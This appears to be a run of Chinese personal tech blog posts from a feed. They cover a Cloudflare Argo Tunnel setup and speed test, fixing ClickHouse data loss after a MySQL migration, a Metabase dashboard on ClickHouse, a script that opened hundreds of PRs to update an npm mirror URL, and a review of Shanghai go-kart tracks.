然后创建一个隧道,比如我这里叫 knat-tunnel:
cloudflared tunnel create knat-tunnel
此时会输出一些隧道 ID 之类的信息(比如我这里是 xxxxxxx-5b0e-xxxx-8034-xxxxxxx),需要记录一下,接下来需要用到。
给隧道创建一个域名,比如我这里用了 tunnel.knat.network:
cloudflared tunnel route dns knat-tunnel tunnel.knat.network
最后我们需要创建一个配置文件,比如我打算放在 ~/.cloudflared/knat.yml,文件内容如下:
url: http://localhost:8080
tunnel: xxxxxxx-5b0e-xxxx-8034-xxxxxxx
credentials-file: /root/.cloudflared/xxxxxxx-5b0e-xxxx-8034-xxxxxxx.json
启动隧道:
cloudflared tunnel --config ~/.cloudflared/knat.yml run
此时会有一些调试信息,比如它告诉你连接到了哪些 Cloudflare 节点之类的:
022-03-26T06:52:31Z INF Starting tunnel tunnelID=xxxxxxx-5b0e-xxxx-8034-xxxxxxx
2022-03-26T06:52:31Z INF Version 2022.3.4
...
2022-03-26T06:52:31Z INF Generated Connector ID: 624aa020-a90a-4bef-91da-330c74edb02f
2022-03-26T06:52:31Z INF Initial protocol http2
2022-03-26T06:52:31Z INF Starting metrics server on 127.0.0.1:44143/metrics
2022-03-26T06:52:33Z INF Connection 34504363-646c-46a2-973d-bd112943c58f registered connIndex=0 location=KIX
2022-03-26T06:52:34Z INF Connection 7a3ec8f7-482c-4fe5-93c4-69d1177ca457 registered connIndex=1 location=NRT
2022-03-26T06:52:35Z INF Connection 7d571bdb-96d2-49d3-b8bf-14754aa6cf8b registered connIndex=2 location=KIX
2022-03-26T06:52:36Z INF Connection 473e30ae-e98b-4da1-8768-12bf5304c7ab registered connIndex=3 location=NRT
这个时候本地启动一个监听在 127.0.0.1:8080 的服务之后就可以直接通过这个域名访问了。
如果你希望在别的机器上创建隧道的话,只需要把
~/.cloudflared/目录一并复制走即可,无需重新登录。
创建隧道的过程相信很多人都已经做过测试了,但是本文写作的动机在于这里的速度,我们知道,Cloudflare 对于网站而言是默认就近回源,在我之前的文章:「搭建 Cloudflare 背后的 IPv6 AnyCast 网络」中就有如下描述:
如果上述两个结论不好理解的话,我们带入两个条件来方便大家理解,假设我的博客在法国(假设解析为 origin.nova.moe),你是一个大陆访客,假设 Cloudflare 使用的 Nginx,在目前网络环境下:
proxy_pass https://origin.nova.moe; 了,很简单是不是?但是这样就是「公网回源」proxy_pass https://origin.nova.moe;开了 Argo 之后由于回源流量会有很大一段不经过公网(而是 Cloudflare 的各种公网隧道),所以理论上说路由路径更多地受到 Cloudflare 管控,在某些时候可以减少绕路,简单来说,速度应该会快一些,Cloudflare 官方宣传图如下:

对于这一点而言,既然我们是用了 Argo Tunnel 了,那么这里其实也是适用的,为了说明这一点,我们来个测试,测试的情况如下:


without-tunnel.knat.network 直接解析到赫尔辛基的服务器上并开启 Cloudflare CDNtunnel.knat.network 为在赫尔辛基的服务器使用 cloudflared 创建的隧道fallocate -l 1G CoronaVac.img我们直接看结论,如果直接连接的话,速度是这样的(平均速度:4.97 MB/s):
○ wget https://without-tunnel.knat.network/CoronaVac.img
--2022-03-26 15:07:39-- https://without-tunnel.knat.network/CoronaVac.img
Resolving without-tunnel.knat.network (without-tunnel.knat.network)... 2606:4700:3037::6815:2403, 2606:4700:3033::ac43:b694, 172.67.182.148, ...
Connecting to without-tunnel.knat.network (without-tunnel.knat.network)|2606:4700:3037::6815:2403|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1073741824 (1.0G) [application/octet-stream]
Saving to: ‘CoronaVac.img’
CoronaVac.img 100%[==============================================================================>] 1.00G 5.37MB/s in 3m 26s
2022-03-26 15:11:06 (4.97 MB/s) - ‘CoronaVac.img’ saved [1073741824/1073741824]
如果走 Argo Tunnel 的话,速度是这样的(平均速度 13.6 MB/s):
○ wget https://tunnel.knat.network/CoronaVac.img
--2022-03-26 15:12:39-- https://tunnel.knat.network/CoronaVac.img
Resolving tunnel.knat.network (tunnel.knat.network)... 2606:4700:3037::6815:2403, 2606:4700:3033::ac43:b694, 172.67.182.148, ...
Connecting to tunnel.knat.network (tunnel.knat.network)|2606:4700:3037::6815:2403|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1073741824 (1.0G) [application/octet-stream]
Saving to: ‘CoronaVac.img’
CoronaVac.img 100%[==============================================================================>] 1.00G 14.8MB/s in 75s
2022-03-26 15:13:56 (13.6 MB/s) - ‘CoronaVac.img’ saved [1073741824/1073741824]
速度提升了 4 倍。

emmm,而且这个服务甚至是免费的:
In the past, Argo Tunnel has been priced based on bandwidth consumption as part of Argo Smart Routing, Cloudflare’s traffic acceleration feature. Starting today, we’re excited to announce that any organization can use the secure, outbound-only connection feature of the product at no cost.
——A Boring Announcement: Free Tunnels for Everyone
我们的许多基础设施要么是美国公司提供的,要么就是大量使用了美国公司的产品,我们耳熟能详的(至少自称)开发者友好的云(Vultr/Digital Ocean/Linode),大型公有云(AWS/GCP/Azure),大型 CDN 服务商(Cloudflare,Akamai,Fastly),平时用的 Docker/Kubernetes,两大前端框架(React,Augular) 都是美国公司的产品。
以至于如果希望有服务能完全 Hosted in EU,Owned totally by EU company 都是一件比较困难的事情。
很多时候我会想:当这些公司推出了一个个令人兴奋的且难以被替代产品(比如 S3,比如 Lambda)的时候,我们又在做些什么?我们自己有什么产品是真正在推动互联网某些领域进步吗?哪怕只是一点很小的进步…
(或者说,我们还在忙着打造 xx 场景,为 xx 行业赋能,给 xx 提供抓手,助力出海东南亚?)
不禁又一次想到了 Cloudflare 博客上的一句话:
At Cloudflare, our mission is to help build a better Internet.
希望这个记录和测试对部分人的部分业务有所启发,以上。
]]>clickhouse-mysql 很方便地将数据从 MySQL 迁移到 Clickhouse,但是其中我们遇到了部分数据丢失的问题,本文将记录一下整个过程,和对应的解决方案。
在使用 clickhouse-mysql 之后需要额外关注一下导入的数据库的结构(可以在连接到 Clickhouse 之后通过 show create table <DB_NAME>.<TABLE_NAME> 查看,默认可能会使用 ReplacingMergeTree,并且 SORTING KEY 会随机使用一个)
在这种情况下,如果你原有的表中有一个字段是 DateTime 类型的话,可能这个字段会被用作 SORTING KEY,ReplacingMergeTree 的特性是:
it removes duplicate entries with the same sorting key value。
我们通过观察 clickhouse-mysql 的日志可以看出:
Running with chclient CREATE DATABASE IF NOT EXISTS `webp_cloud`;
Running with chclient CREATE TABLE IF NOT EXISTS `webp_cloud`.`logs` (
`hashed_remote_identifier` Nullable(String),
`requested_hostname` Nullable(String),
`requested_path` Nullable(String),
...
`created_at` DateTime
)
ENGINE = ReplacingMergeTree() PARTITION BY toYYYYMM(created_at) ORDER BY (created_at)
;
这里用了 ReplacingMergeTree ,在这种情况下,如果有多条记录的 created_at 是一样的话(比如同一秒内的多个请求),那数据就会被丢到只剩一条了。
为了解决这个问题,我们需要改一下使用的 ENGINE,可以通过类似如下语句导出先建库建表的 SQL:
clickhouse-mysql --src-host=10.1.0.10 --src-user=root --src-password=password --create-table-sql-template --with-create-database --src-tables=webp_cloud.logs > logs.sql
SQL 类似如下:
CREATE DATABASE IF NOT EXISTS `webp_cloud`;
CREATE TABLE IF NOT EXISTS `webp_cloud`.`logs` (
`hashed_remote_identifier` Nullable(String),
`requested_hostname` Nullable(String),
`requested_path` Nullable(String),
...
`created_at` Nullable(DateTime)
)
ENGINE = MergeTree(<PRIMARY_DATE_FIELD>, (<COMMA_SEPARATED_INDEX_FIELDS_LIST>), 8192)
;
这就很奇怪了,这样导出的 ENGINE 就是
MergeTree了.
这里我们需要改一下 SQL,首先 MergeTree 要求按照 PARTITION 来,我们决定用 created_at 来进行,由于原库中 created_at 不会为 Null,所以我们需要改一下,改为:
`created_at` DateTime
然后需要改一下 ENGINE 的部分,改为:
ENGINE = MergeTree() PARTITION BY toYYYYMM(created_at) ORDER BY (created_at)
改完之后类似如下:
CREATE DATABASE IF NOT EXISTS `webp_cloud`;
CREATE TABLE IF NOT EXISTS `webp_cloud`.`logs` (
`hashed_remote_identifier` Nullable(String),
`requested_hostname` Nullable(String),
`requested_path` Nullable(String),
...
`created_at` DateTime
)
ENGINE = MergeTree() PARTITION BY toYYYYMM(created_at) ORDER BY (created_at)
;
保存为一个 .sql 文件之后导入到 Clickhouse 中:
clickhouse-client --host=10.1.0.10 -mn < ./path/to/that.sql
此时表结构就已经完成建立了,我们可以继续用之前的命令进行导入并保持同步了:
clickhouse-mysql \
--src-server-id=1 \
--src-resume \
--src-wait \
--nice-pause=1 \
--src-host=10.1.0.10 \
--src-user=root \
--src-password=password \
--src-tables=webp_cloud.logs \
--dst-host=10.1.0.11 \
--dst-schema webp_cloud \
--dst-table logs \
--log-level=info \
--csvpool \
--mempool-max-flush-interval=60 \
--mempool-max-events-num=1000 \
--pump-data \
--migrate-table
]]>这个事件充分说明了我对 Clickhouse 真的一窍不通(

我们会对基础的运营数据进行分析,这其中包括每日的流量,流量来自哪些网站(referer),服务平均响应延迟等,这些数据可以告诉我们服务的整体运行情况,同时也可以指导我们进行一些后续的优化。
数据的来源其实非常简单,每一次有请求发到我们基础设施的时候,我们都会对请求的相关信息进行脱敏记录(由于我们的基础设施分布在德国和芬兰,这里我们希望符合 GDPR)并存在一个数据库中,数据库的表结构类似:
CREATE TABLE logs
(
hashed_remote_identifier varchar(64),
requested_hostname varchar(100),
requested_path text,
...
created_at DATETIME
);
这样针对每条请求记录我们都有了一份唯一的存储,虽然简陋,但是 Works。
什么?你说为啥我们数据不存 ES?
有了这么一条条的数据之后,我们很快就会希望得到一些曲线,比如:每天我们处理了多少请求,这些请求都是来自哪儿。
虽然这些图表可以自己写一个 API 从数据库中捞,但是有现成的工具为什么不用呢,这里我们使用了比较成熟的一个开源解决方案——Metabase

Metabase 的部署很简单,只要用 docker-compose.yml 内容类似如下:
version: '3'
services:
metabase:
image: metabase/metabase
restart: always
volumes:
- ./metabase-data:/metabase-data
ports:
- 127.0.0.1:3000:3000
environment:
TZ: Asia/Shanghai
启动后配置一下数据库即可使用:

只要点点点就可以创建很多 Kanban 和 Dashboard.

甚至还可以配置 Pulse,让 Metabase 每天自动发「日报」给我们邮箱,你看,多贴心!
最终通过点点点和拖拖拖,我们就可以得到一个看上去还不错的 Dashboard 了,

但是很快我们就会遇到问题,随着站点访问量越来越大,Metabase 为了获取这些数据需要扫全表,速度也会越来越慢,页面加载速度也逐渐可以用秒为单位进行计算,为了解决这个问题,我们决定把数据实时同步到 Clickhouse 上,并通过 Clickhouse 上的数据来渲染图表。
我们的基础设施有 4 台服务器,为了获得一个比较高可用的 Clickhouse 集群,对于 Clickhouse 使用一窍不通的我使用了我自己写的集群配置文件生成工具:https://github.com/n0vad3v/simple-multinode-clickhouse-cluster ,编写了集群拓扑:

global:
clickhouse_image: "yandex/clickhouse-server:21.3.2.5"
zookeeper_image: "bitnami/zookeeper:3.6.1"
zookeeper_servers:
- host: 10.1.0.10
- host: 10.1.0.11
- host: 10.1.0.12
- host: 10.1.0.13
clickhouse_servers:
- host: 10.1.0.10
- host: 10.1.0.11
- host: 10.1.0.12
- host: 10.1.0.13
clickhouse_topology:
- clusters:
- name: "novakwok_cluster"
shards:
- name: "novakwok_shard"
servers:
- host: 10.1.0.10
- host: 10.1.0.11
- host: 10.1.0.12
- host: 10.1.0.13
生成出 docker-compose.yml 文件后用 Ansible 部署到机器上并启动。
现在我们需要迁移 MySQL 的数据并保持和 Clickhouse 同步,我们使用的 MySQL 是 ubuntu 提供的 ubuntu/mysql:8.0-20.04_beta,这个镜像 binlog 默认打开,并且 server-id 是 1(甚至是 Multi-Arch 的):
MySQL [(none)]> SELECT @@server_id;
+-------------+
| @@server_id |
+-------------+
| 1 |
+-------------+
1 row in set (0.000 sec)
MySQL [(none)]> show variables like '%bin%';
+------------------------------------------------+-----------------------------+
| Variable_name | Value |
+------------------------------------------------+-----------------------------+
| log_bin | ON |
| log_bin_basename | /var/lib/mysql/binlog |
| log_bin_index | /var/lib/mysql/binlog.index |
| log_statements_unsafe_for_binlog | ON |
| mysqlx_bind_address | * |
| sql_log_bin | ON |
| sync_binlog | 1 |
+------------------------------------------------+-----------------------------+
这里我们使用 clickhouse-mysql 工具进行迁移,首先安装必要的包和组件:
apt install libmysqlclient-dev python3-pip -y
pip3 install clickhouse-driver
pip3 install mysql-replication
pip3 install clickhouse-mysql
然后启动一个 tmux 将这个程序后台跑着:
clickhouse-mysql \
--src-server-id=1 \
--src-resume \
--src-wait \
--nice-pause=1 \
--src-host=10.1.0.10 \
--src-user=root \
--src-password=password \
--src-tables=webp_cloud.logs \
--dst-host=10.1.0.11 \
--dst-schema webp_cloud \
--dst-table logs \
--log-level=info \
--csvpool \
--mempool-max-flush-interval=60 \
--mempool-max-events-num=1000 \
--pump-data \
--migrate-table \
--dst-create-table
此时 clickhouse-mysql 就会迁移已有数据,并保持同步写入 MySQL 的所有数据了,这个时候建议在在 MySQL 和 Clickhouse 上都看一下数据的 COUNT,如果发现 Clickhouse 上的数据小于 MySQL 的话,可能丢数据了,没事,我也遇到了这个问题,可以参考「解决用 clickhouse-mysql 迁移数据到 Clickhouse 后丢失部分数据的一点笔记」解决。
搞了上面那一堆之后我们回到 Metabase 上准备添加 Clickhouse 然后准备感受起飞一般的速度,我们熟练地点开「Admin」->「Database」,然后…

发现没有 Clickhouse!

所以这里肯定是有人一开始看错了(以为 Metabase 直接支持,不然也不会选择使用 Clickhouse),而且那个看错的人肯定不是我自己
这就很坑了!
所幸,我们还是找到了一个插件: https://github.com/enqueue/metabase-clickhouse-driver ,接下来对 Metabase 进行一点小小的改造,比如:
docker-compose.yml 同目录下放一个 plugins 目录,然后把 https://github.com/enqueue/metabase-clickhouse-driver/releases/download/0.8.1/clickhouse.metabase-driver.jar 给塞进去docker-compose.yml,加入 MB_PLUGINS_DIR 环境变量并传 plugins 目录进去version: '3'
services:
metabase:
image: metabase/metabase
restart: always
user: root
volumes:
- ./metabase-data:/metabase-data
- ./plugins:/app/plugins
- ./run_metabase.sh:/app/run_metabase.sh
ports:
- 127.0.0.1:3000:3000
environment:
MB_DB_FILE: /metabase-data/metabase.db
MB_PLUGINS_DIR: /app/plugins
TZ: Asia/Shanghai
/app/run_metabase.sh 复制出来,并改造一下让 Metabase 用 root 身份运行(避免读 plugin 目录遇到权限问题)(或者这里你可以直接用我改好的版本,在: https://github.com/n0vad3v/dockerfiles/tree/master/metabase-clickhouse )
终于,我们在 Metabase 中可以看到 Clickhouse 了!

同样是经过一段时间的拖拖拖和点点点,我们就获得了一个数据在 Clickhouse 上的运营看板,为了对比加载速度,我们看看日志:
大约 4.1s
GET /api/user/current 200 7.2 ms (4 DB calls) App DB connections: 0/15 Jetty threads: 4/50 (5 idle, 0 queued) (111 total active threads) Queries in flight: 0 (0 queued)
GET /api/session/properties 200 30.0 ms (4 DB calls) App DB connections: 0/15 Jetty threads: 3/50 (5 idle, 0 queued) (111 total active threads) Queries in flight: 0 (0 queued)
GET /api/database 200 8.6 ms (3 DB calls) App DB connections: 1/15 Jetty threads: 4/50 (5 idle, 0 queued) (111 total active threads) Queries in flight: 0 (0 queued)
GET /api/dashboard/33 200 39.8 ms (14 DB calls) App DB connections: 0/15 Jetty threads: 3/50 (5 idle, 0 queued) (111 total active threads) Queries in flight: 0 (0 queued)
GET /api/table/38/query_metadata 200 9.5 ms (9 DB calls) App DB connections: 0/15 Jetty threads: 3/50 (6 idle, 0 queued) (111 total active threads) Queries in flight: 0 (0 queued)
GET /api/collection/root 200 1.5 ms (2 DB calls) App DB connections: 2/15 Jetty threads: 9/50 (0 idle, 0 queued) (111 total active threads) Queries in flight: 0 (0 queued)
POST /api/dashboard/33/dashcard/33/card/33/query 202 [ASYNC: completed] 1.3 s (19 DB calls) App DB connections: 2/15 Jetty threads: 3/50 (8 idle, 0 queued) (113 total active threads) Queries in flight: 5 (0 queued); mysql DB 34 connections: 1/6 (0 threads blocked)
POST /api/dashboard/33/dashcard/37/card/37/query 202 [ASYNC: completed] 1.4 s (19 DB calls) App DB connections: 1/15 Jetty threads: 2/50 (8 idle, 0 queued) (113 total active threads) Queries in flight: 4 (0 queued); mysql DB 34 connections: 0/6 (0 threads blocked)
POST /api/dashboard/33/dashcard/33/card/38/query 202 [ASYNC: completed] 1.9 s (21 DB calls) App DB connections: 0/15 Jetty threads: 2/50 (8 idle, 0 queued) (113 total active threads) Queries in flight: 3 (0 queued); mysql DB 34 connections: 2/6 (0 threads blocked)
POST /api/dashboard/33/dashcard/34/card/34/query 202 [ASYNC: completed] 3.6 s (22 DB calls) App DB connections: 0/15 Jetty threads: 2/50 (8 idle, 0 queued) (112 total active threads) Queries in flight: 2 (0 queued); mysql DB 34 connections: 5/6 (0 threads blocked)
POST /api/dashboard/33/dashcard/36/card/36/query 202 [ASYNC: completed] 3.9 s (20 DB calls) App DB connections: 0/15 Jetty threads: 2/50 (8 idle, 0 queued) (112 total active threads) Queries in flight: 1 (0 queued); mysql DB 34 connections: 3/6 (0 threads blocked)
POST /api/dashboard/33/dashcard/35/card/35/query 202 [ASYNC: completed] 4.1 s (20 DB calls) App DB connections: 1/15 Jetty threads: 2/50 (8 idle, 0 queued) (112 total active threads) Queries in flight: 0 (0 queued); mysql DB 34 connections: 4/6 (0 threads blocked)
大约 825ms
GET /api/session/properties 200 15.5 ms (4 DB calls) App DB connections: 0/15 Jetty threads: 3/50 (6 idle, 0 queued) (111 total active threads) Queries in flight: 0 (0 queued)
GET /api/user/current 200 5.4 ms (4 DB calls) App DB connections: 0/15 Jetty threads: 3/50 (6 idle, 0 queued) (111 total active threads) Queries in flight: 0 (0 queued)
GET /api/database 200 9.1 ms (3 DB calls) App DB connections: 0/15 Jetty threads: 4/50 (5 idle, 0 queued) (111 total active threads) Queries in flight: 0 (0 queued)
GET /api/dashboard/34 200 43.0 ms (14 DB calls) App DB connections: 0/15 Jetty threads: 3/50 (5 idle, 0 queued) (111 total active threads) Queries in flight: 0 (0 queued)
GET /api/table/39/query_metadata 200 14.9 ms (9 DB calls) App DB connections: 0/15 Jetty threads: 3/50 (6 idle, 0 queued) (111 total active threads) Queries in flight: 0 (0 queued)
POST /api/dashboard/34/dashcard/38/card/39/query 202 [ASYNC: completed] 126.1 ms (19 DB calls) App DB connections: 1/15 Jetty threads: 2/50 (6 idle, 0 queued) (111 total active threads) Queries in flight: 1 (0 queued); clickhouse DB 35 connections: 0/4 (0 threads blocked)
POST /api/dashboard/34/dashcard/38/card/40/query 202 [ASYNC: completed] 137.7 ms (21 DB calls) App DB connections: 0/15 Jetty threads: 2/50 (6 idle, 0 queued) (111 total active threads) Queries in flight: 0 (0 queued); clickhouse DB 35 connections: 1/4 (0 threads blocked)
GET /api/collection/root 200 1.5 ms (2 DB calls) App DB connections: 0/15 Jetty threads: 5/50 (4 idle, 0 queued) (111 total active threads) Queries in flight: 2 (0 queued)
POST /api/dashboard/34/dashcard/39/card/42/query 202 [ASYNC: completed] 296.7 ms (19 DB calls) App DB connections: 0/15 Jetty threads: 2/50 (6 idle, 0 queued) (111 total active threads) Queries in flight: 3 (0 queued); clickhouse DB 35 connections: 1/4 (0 threads blocked)
POST /api/dashboard/34/dashcard/40/card/41/query 202 [ASYNC: completed] 429.3 ms (23 DB calls) App DB connections: 0/15 Jetty threads: 2/50 (6 idle, 0 queued) (111 total active threads) Queries in flight: 2 (0 queued); clickhouse DB 35 connections: 3/4 (0 threads blocked)
POST /api/dashboard/34/dashcard/42/card/44/query 202 [ASYNC: completed] 467.4 ms (20 DB calls) App DB connections: 0/15 Jetty threads: 3/50 (6 idle, 0 queued) (111 total active threads) Queries in flight: 1 (0 queued); clickhouse DB 35 connections: 2/4 (0 threads blocked)
POST /api/dashboard/34/dashcard/41/card/43/query 202 [ASYNC: completed] 825.7 ms (20 DB calls) App DB connections: 2/15 Jetty threads: 2/50 (6 idle, 0 queued) (111 total active threads) Queries in flight: 1 (0 queued); clickhouse DB 35 connections: 0/4 (0 threads blocked)
可以发现快了 5 倍左右。
有了更快的速度,再也不用等着 Metabase 转圈圈了,同时我们也可以做出更多的 Dashboard 来支撑我们的决策了~


由于之前有过被大量 Dependabot 骚扰的经历,加上有 GitHub Code Search 的 Preview 权限,于是便想到:为什么我不能做一个类似 dependabot 的东西来批量帮别人来改 NPM Mirror 地址呢?
第一反应便是去 https://cs.github.com 上拿到所有包含老地址的仓库,虽然 GitHub Code search 没有提供任何 API,但是通过浏览器的包来看,还是有个 API 地址可用的,所以很快就有了第一个小脚本用来拿到所有仓库和关键词所在文件的信息(这里为了简单考虑只查了 ['Makefile','Dockerfile','.md','package.json','.npmrc' 中包含旧地址的信息,Copilot 一开,啪的一下,很快啊:
import requests
import csv
filename_list = ['Makefile','Dockerfile','.md','package.json','.npmrc']
url = 'https://cs.github.com/api/search?q=path%3A{filename}+registry.npm.taobao.org++&p={page}'
header = {"cookie":"_COOKIE_HERE",
"user-agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36"}
results = []
for filename in filename_list:
res = requests.get(url.format(filename=filename, page=1),headers=header)
total_pages = res.json()['total_pages']
for page in range(1,total_pages+1):
res = requests.get(url.format(filename=filename, page=page),headers=header)
for result in res.json()['results']:
each_repo = {}
each_repo['filename'] = result['path']
each_repo['repo_name'] = result['repo_name']
each_repo['ref_name'] = result['ref_name']
results.append(each_repo)
# Write results to csv file
with open('results.csv', 'w') as csvfile:
fieldnames = ['filename', 'repo_name', 'ref_name']
writer = csv.DictWriter(csvfile, fieldnames=fieldnames)
writer.writeheader()
for result in results:
writer.writerow(result)
这样,我们就可以快速拿到所有的信息了,保存在一个 csv 里面,文件内容类似如下:
filename,repo_name,ref_name
Makefile,ElemeFE/element,refs/heads/dev
Makefile,node-modules/copy-to,refs/heads/master
Makefile,cnodejs/nodeclub,refs/heads/master
Makefile,leungwensen/svg-icon,refs/heads/master
makefile,V-Tom/blog,refs/heads/koa2
Makefile,aliyun/api-gateway-nodejs-sdk,refs/heads/master
Makefile,cojs/urllib,refs/heads/master
Makefile,barretlee/blog,refs/heads/master
但是这个里面有非 master 分支的数据(由于这个脚本希望它越简单粗暴越好,所以决定只处理 master 分支),很快就有了如下语句:
grep "refs/heads/master" results.csv >> master.csv
在拿到了 master.csv 之后我发现,有些仓库内可能会存在同一个 repo 中多个文件都有出现旧地址的情况,类似如下:
lang/node-firmata/Makefile,immortalwrt/packages,refs/heads/master
lang/node-sqlite3/Makefile,immortalwrt/packages,refs/heads/master
在这种情况下如果直接按行遍历的话会出现一个仓库多个 PR 的情况,这种情况肯定不能出现,于是将数据洗成一个简单的 JSON 格式,结果看上去类似这样:
[{
"repo_name_with_owner": "node-modules/default-user-agent",
"files": [
"package.json"
]
},
{
"repo_name_with_owner": "KittenBot/Kittenblock",
"files": [
"scratch-blocks/package.json",
"scratch-vm/package.json"
]
}]
好了,我们现在有了所有需要的仓库的信息

可以开始一个个遍历了,由于这个脚本希望越简单粗暴越好,所以对于每个仓库,我们都:
git add . && git commit -m "update https://registry.npm.taobao.org to https://registry.npmmirror.com" && git push然后在遇到过很多次的 Rate limit 之后:
{"message":"API rate limit exceeded for user ID 99484857.","documentation_url":"https://docs.github.com/rest/overview/resources-in-the-rest-api#rate-limiting"}
300+ 个 PR 就出现了~

然后我的帐号也被 Flag 了:


还好是新注册的一个小号…
2022-02-14:@npmmirror 帐号已经被放了出来,GitHub 的回复表示:Sorry for the troubles here. Sometimes the automated systems we use will incorrectly flag an account when it shouldn’t be, and that’s what occurred here. I’ve reset your profile, so you should be able to access and use everything as normal again.
接下来就是等着这些 PR 被慢慢合并掉就好了~
在做这个事情的过程中,我们可以看到有很多有趣的事情,这里分为几类:
嗯,是的,很多 PR 被 CLA 就直接挡了下来
比如:https://github.com/alibaba/hooks/pull/1459#issuecomment-1037043145

这里面就很有意思了,比如我们可以看到 https://github.com/alsotang/node-lessons/pull/173#issuecomment-1037010525 中的「这是来自QQ邮箱的假期自动回复邮件。您好,我最近正在休假中,无法亲自回复您的邮件。我将在假期结束后,尽快给您回复。」,「你的来信我已收到!」,「您好,已收到你的来信,很高兴,我会进快回复,谢谢」

或者 https://github.com/egret-labs/egret-core/pull/419#issuecomment-1037011169 中的:「什么事吖」

名场面应该是 DIYGOD 的 RSSHUB,可以看到真人和机器人之间针对这个 PR 开开关关,最后 Merge 的案例:

也有直接就 Close 了 PR 并且手动提交了 Commit 的情况,不过这类情况似乎不多见,这里的案例是:https://github.com/erda-project/erda-ui/pull/2895 (这里原因是因为 PR 中少改了一个文件)

作者 Close 了这个 PR 并重新 Push 了一个新的 Commit

可能是因为淘宝 NPM Mirror 修改源这个信息出现的位置过于诡异(GitHub Issue 和 Zhihu Link,分别是:https://github.com/cnpm/cnpm/issues/361 , https://zhuanlan.zhihu.com/p/430580607 和 https://zhuanlan.zhihu.com/p/465424728 ),所以会出现即使作者看到了 PR 也没法确定整个事情的真实性,这里的代表案例是:https://github.com/apache/skywalking/pull/8538

这种最多,就是直接 Merge 了,没有任何 Comment.
第一次干这种 污染全 GitHub 的 事情,现在想想还是蛮刺激的,记得刚刚开始搞的时候由于怕被人骂,在 NPMMirror 的 PR Body 和 URL 中留下的是 n0vad3v 经过 sha256sum 之后的值 8d6e8cefe5a7e3202364ec2c48db03fcc544218cf70100bf65d2ed2df5cc83da,后来发现多虑了。
同时在 @xuanwo 的提醒「我感觉海星啊,感觉可以做一个面向全体开源项目批量重构的服务」下,感觉其实这里面还有很大的潜在需求等待被满足,或许可以做一个新的公共服务?
]]>本文于 2024-03-30 更新了「浦江锐擎卡丁车(室外)」
本文于 2023-04-24 更新了「金速湾卡丁车(室外)」
本文于 2023-10-18 更新了「康桥流光速卡丁车(室外)」的视频
一个不想成为车手的程序员不是一个好的 SRE,上海的卡丁车场地是真的多,作为去过了不少卡丁车的重度…娱乐车玩家来说,希望在此机会分享一下经常去玩的场地的优劣和个人的喜好,本文会涉及以下场地:
此外还有些其他类型的卡丁车介绍,同事给我推荐了个视频,感觉挺不错,可以作为参考: 试着给上海所有卡丁车场排个名 [魔都卡丁车馆打卡]
作为没有自己的卡丁车的娱乐车玩家,发现各个场地的娱乐车普遍有一些问题,要么就是:速度很慢(仿佛被限速),弯中抢方向(开起来有点像修过的大事故车),所以个人感觉对于娱乐车而言,应该抱着娱乐的心态去玩(因为可能两次去玩的车都不一样,还有地面温度,以及轮胎的损耗情况,成绩可能没有太大的参考价值)
这样看来,卡丁车要想有成就(比如参加比赛拿到名次)可能光靠娱乐车是完全不够的。
参考价格:娱乐车(200CNY/8min)
参考成绩:1:22:304
提供护具:头盔+一次性头套+护肋
这个是我个人最喜欢的室外场地,原因在于它的场地非常大,路面情况不错,而且有路肩可以切,感觉是一个非常正规的赛道,缺点在于娱乐车之间差距过大(感觉可能是保养不善),航拍赛道(伪)全景如下(赛道上空是虹桥限高区,最高只能飞到 120M 高)
而且看上去这个场地还会被用于训练(经常能看到专业车)。
参考价格:娱乐车(158CNY/8min),双人车(258CNY/8min,注意,双人车没有成绩,最高速度很低)
参考成绩:57:527
提供护具:头盔+一次性头套+护肋
个人感觉是上海第二好的室外卡丁车场地,虽然面积相比较上赛那个有差距,但是依然感觉是一个比较专业的户外场地,有路肩,缓冲区等,而且看到不少听说过名字的人都在这里玩,比如(谢欣哲,Magic Bear等等),而且看上去这个场地还会被用于训练(经常能看到专业车)。
我自己在 2023 年 10 月跑的视频:
参考价格:娱乐车(130CNY/8min)
参考成绩:45:443
提供护具:头盔+车上安全带
一个非常老的场地了,地面有点类似停车场环氧地坪的感觉,比较光滑,不是好在抓地力还可以,车和车之间似乎差异不是很大,可能唯一的问题就是整个场地看上去有点陈旧(地面有点凹凸不平),头盔啥的感觉也有点黏糊,然后室内照明不是很好。
参考价格:忘了
参考成绩:29:008
提供护具:头盔+一次性头套+车上安全带+护颈
一个算是比较新的室内场地,有点类似下文的极烽赛车的室内部分,都是在一个厂房内搭建的,所以不能像室外的场地一样有大量的大直线,以及路肩来切弯,对于娱乐车而言似乎车和车之间差距不是很大,跑出来的成绩还算比较有参考意义,只是个人感觉这种室内场地过于拥挤导致观感不是很舒服(有种:就在室内强行摆一些桩桶来绕圈圈的感觉)。
整个赛道的路面附着力还算可以,T2 之后的掉头弯比较考验驾驶员的胆量(和对于车辆的把握程度),因为刹早了可能太慢,刹晚了会推头撞墙,太早入弯的话可能会一头插到轮胎墙底下(绝非玩笑):
参考价格:娱乐车室内(88CNY/7min)(这个价格是当时做活动打折的价格,具体其他价格记不太清楚了)
参考成绩:27:104(室内)
提供护具:头盔+一次性头套+护肋+车上安全带+护颈
这个场地非常新,设计也比较新颖,有室内,室外和室内+室外三种不同的跑法,由于场地很新,车很新,提供的护具也很新,所以娱乐车也一般不会遇到车辆之间差距过大而导致没有参考意义的情况,整体体验很不错,可能唯一的问题就是方向盘的形状有点奇怪不太好握+大直线有点少。
室內部分:
室外部分:
虽然这个场地有室外部分,但是还是整体有些偏小,而且室外部分其实和室内部分类似,弯心基本都是轮胎墙,不能像常规的室外场地一样压路肩切弯,有可能是弯道比较多,也有可能是因为场地比较新,路面普遍比较光滑,轮胎附着力不是很好,基本稍微 push 一点就会一直滑。
参考价格:忘了
参考成绩:46
提供护具:头盔+一次性头套+护肋+车上安全带+护颈
是金山的一个比较新的卡丁车场,路线是用可以移动的盒子围起来的,所以可能之后会有变动,拍照的时间是 2022 年 10 月,当时去的时候应该没开业多久,当时去的时候车辆情况还不错,低速弯比较多。
参考价格:忘了
参考成绩:52:465
提供护具:头盔+一次性头套+护肋+护颈
浦江锐擎卡丁车体感地面平整度比康桥的要更好,不会蹦蹦跳跳,但是为了最大化利用空间导致许多回头弯感觉体验又差了一点。
我自己在 2024 年 3 月跑的视频:
个人给这些场地一个排名的话,那就是:
